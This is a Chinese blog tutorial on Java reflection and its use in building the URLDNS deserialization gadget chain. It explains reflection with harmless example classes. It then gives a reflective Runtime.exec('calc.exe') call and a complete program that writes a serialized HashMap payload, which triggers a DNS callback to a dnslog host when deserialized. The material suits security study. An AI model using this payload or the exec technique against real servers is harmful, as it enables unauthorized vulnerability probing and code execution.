Java反射原理及UrlDns链的构造

Java反射

本篇文章可搭配上篇的代码进行复现：

https://blog.csdn.net/weixin_53912233/article/details/137101050

什么是反射

正射

正常编写代码的时候，需要使用某一个类，都会先理解这个类是做什么的，然后实例化这个类，最后用实例化好的对象进行操作就是正射。
比如：

Teacher teacher = new Teacher();
teacher.say("老师说话了");

反射

在Java中，每个类都是Class类的一个实例对象。这个Class对象包含了与其相关的类的信息，比如类的成员变量（字段）、方法、构造函数等。通过这个对象，我们可以在运行时获取和操作这些信息，这个过程称为反射（Reflection）。

• 反射的作用就是让Java具有动态性，因为Java是强类型语言，通过反射可以做很多事情：
  • 修改已有对象的属性
  • 动态生成对象
  • 动态调用方法
  • 操作内部类和私有方法

总的来说反射就是操作Class

Java反射组成相关的类

java.lang.reflect是Java中的一个包（package）。这个包包含了用于反射（reflection）的类和接口，一些常见的类：

• java.lang.Class：类对象
• java.lang.reflect.Constructor：类的构造器对象
• java.lang.reflect.Field：类的属性对象
• java.lang.reflect.Method：类的方法对象

一个正常反射的流程

完整代码
ReflectionTest.java

import com.sun.source.tree.PackageTree;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ReflectionTest {
    public static void main(String[] args) throws Exception{
        Person person = new Person();
        Class c = person.getClass(); //Object里面自带的方法
        //反射就是操作Class

        //从原型class里面实例化对象
        Constructor personconstructor = c.getConstructor(String.class, int.class);
        Person p = (Person) personconstructor.newInstance("hhh", 22);
        System.out.println(p);


        //获取类里面属性
//        Field[] personfields = c.getDeclaredFields();//增强型 `for`循环
//        for(Field f:personfields){
//            System.out.println(f);
//        }
        Field namefield = c.getDeclaredField("name");
        namefield.setAccessible(true);
        namefield.set(p,"cike_y");
        System.out.println(p);

        //调用类里面的方法
//        Method[] personmethod = c.getMethods();
//        for(Method m:personmethod){
//            System.out.println(m +"类的所属"+m.getDeclaringClass());
//        }
        Method actionmethod = c.getMethod("action", String.class);
        actionmethod.invoke(p,"cike_y");

    }

}

Person.java

import java.io.Serializable;
public class Person implements Serializable{
    private String name;
    public int age;

    public Person(String name,int age){
        this.name = name;
        this.age = age;
    }

    //有这个才能实例化它
    public Person() {

    }

    public java.lang.String toString() {
        return "Person{" +
                "name="   + name +
                ", age="  + age +
                '}';
    }
    public void action(String act){
        System.out.println(act);
    }
}

操作Class

第7行

Person person = new Person();
Class c = person.getClass();

• person.getClass()调用的是Object类中定义的一个方法，这个方法返回表示对象所属类的Class实例。对于person变量所引用的对象，这意味着返回的是Person类的Class对象
• 将返回的Class对象赋值给变量c，就可以使用c来进行后续的反射操作，比如获取类的名称、字段、方法、构造函数等。

从原型class里面实例化对象

Constructor personconstructor = c.getConstructor(String.class, int.class);

• 从Person类的Class对象（即变量c）中获取一个特定的构造函数

查看原生的getConstructor方法，可以看见它需要的是Class类的参数类型

这里，它是获取Person类中接收一个String和一个int作为参数的构造函数。

Person p = (Person) personconstructor.newInstance("hhh", 22);

• 而 newInstance 方法来创建Person类的一个新实例，该方法的参数会传递给Person类的构造函数，作为构造新对象时的实际参数。
• newInstance方法返回的是Object类型的对象，因此需要进行显式类型转换（(Person)），将其转换为Person类型的引用，最后赋值给p变量。

获取类里面属性

    Field[] personfields = c.getFields();//增强型 `for`循环
        for(Field f:personfields){
            System.out.println(f);
        }

• getFields()是java.lang.Class类的一个方法，它用于获取某个类的所有公共（public）字段，包括从父类继承来的公共字段。
• 这个方法返回一个Field数组，Field是java.lang.reflect包中的一个类，用于表示类或接口中的一个字段。
• for(Field f:personfields) 是增强型for循环，用于遍历数组或实现了Iterable接口的集合类型（比如List、Set等）。

我们尝试运行以下代码：

可以发现只出现了Persion类的Public字段，但是不能读取私有字段.
修改为以下

Field[] personfields = c.getDeclaredFields();

getDeclaredFields()方法会返回类中声明的所有字段，无论访问权限如何。
再次运行，可以看见获取到类的所有属性

getDeclaredFields 和 getDeclaredField的区别

• 第一个方法用于获取类中声明的所有字段
• 第二个方法用于获取类中特定名称的字段它需要一个参数，即要获取的字段的名称

修改类里面属性的值

代码

    Field namefield = c.getDeclaredField("name");
        namefield.setAccessible(true);
        namefield.set(p,"cike_y");
        System.out.println(p);

• getDeclaredField获取name字段到 namefield变量中
• setAccessible(true); 这个意义是为了可以对私有变量进行权限修改什么的
• namefield.set(p,“cike_y”); 修改实例化对象p变量的name值为cike_y

运行代码可以看见，成功修改

获取类里面的方法

代码:

        Method[] personmethod = c.getMethods();
        for(Method m:personmethod){
            System.out.println(m);
        }

• getMethods()获取该类的所有方法到 personmethod，这个类型属于Method[]
• 使用增强型for循环打印输出所有方法，每个输出的类型是Method类

输出的每个m代表的方法可能属于Person类或者其任何父类，包括Object类。

修改代码如下：

     Method[] personmethod = c.getMethods();
        for(Method m:personmethod){
            System.out.println(m +"类的所属"+m.getDeclaringClass());
        }

可以看见我们调用类里面的方法都来源于Object类

调用类里面的方法

代码

Method actionmethod = c.getDeclaredMethod("action", String.class);
actionmethod.invoke(p,"cike_y");

• getDeclaredMethod 获取一个 action的方法，，该方法接受一个String的参数，获取类中声明的所有方法（包括公有、保护、默认访问和私有方法）
• 使用反射API中的invoke方法调用action方法。这里，p是调用action方法的对象实例 ，cike_y是传递给action方法的参数

最后运行，利用Java反射可以看见Person类中的action方法被执行成功了

利用反射执行calc

import java.lang.reflect.Method;

public class calc {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime(); // 使用静态方法获取Runtime对象
        Class<?> c = runtime.getClass();

        Method exec = c.getMethod("exec", String.class); // 获取exec方法，参数为String类型
        Method getRuntime = c.getMethod("getRuntime");
        Object o1 = getRuntime.invoke(c); // 调用getRuntime方法获取Runtime对象的引用
        exec.invoke(o1, "calc.exe"); // 调用exec方法执行calc.exe程序
    }
}

URLDNS链与反射

在前面的URLDNS链路构造，我们可以知道hashCode，需要在hashmap.put()方法执行后再改为-1，这个时候我们现在可以利用Java反射来进行修改了。
具体修改的代码：

    import java.io.FileOutputStream;
    import java.io.IOError;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.net.URL;
    import java.util.HashMap;

    public class SerializationTest {

        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
                oos.writeObject(obj);
        }

        public static void main(String[] args) throws Exception{
            HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
            URL url = new URL("http://your.dnslog.cn");

            //获取url的class，后续进行操作
            Class c = url.getClass();

            //获取hashCode的属性，后续进行修改
            Field hashcodefield = c.getDeclaredField("hashCode");

            //由于hashCode属性是私有属性，所以我们要进行权限修改
            hashcodefield.setAccessible(true);
            hashcodefield.set(url,1);   //修改hashCode属性不为-1就可以

            hashmap.put(url,1); //这里进行了put方法，不会发送dns请求
            hashcodefield.set(url,-1); //改为-1，是为了反序列化执行的时候，进行dns请求
            serialize(hashmap);
        }
    }

这里进行序列化之后，可以看见出来了一个ser.bin的序列化文件，这个时候进行反序列化

可以看见我们的dnslog接收到了来自服务端的请求

最后我们的反序列化攻击成功了，有个注意点就是JDK版本不能太高，要不然会复现失败。

总结

通过URLDNS链，我们可以看见总的流程就是：

• 操作url的class
• 然后操控hashCode的属性
• 最后序列化hashmap对象

在反序列化漏洞中的应用

• 定制需要的对象
• 通过invoke调用除了同名函数以外的函数
• 通过Class类创建对象，引入不能序列化的类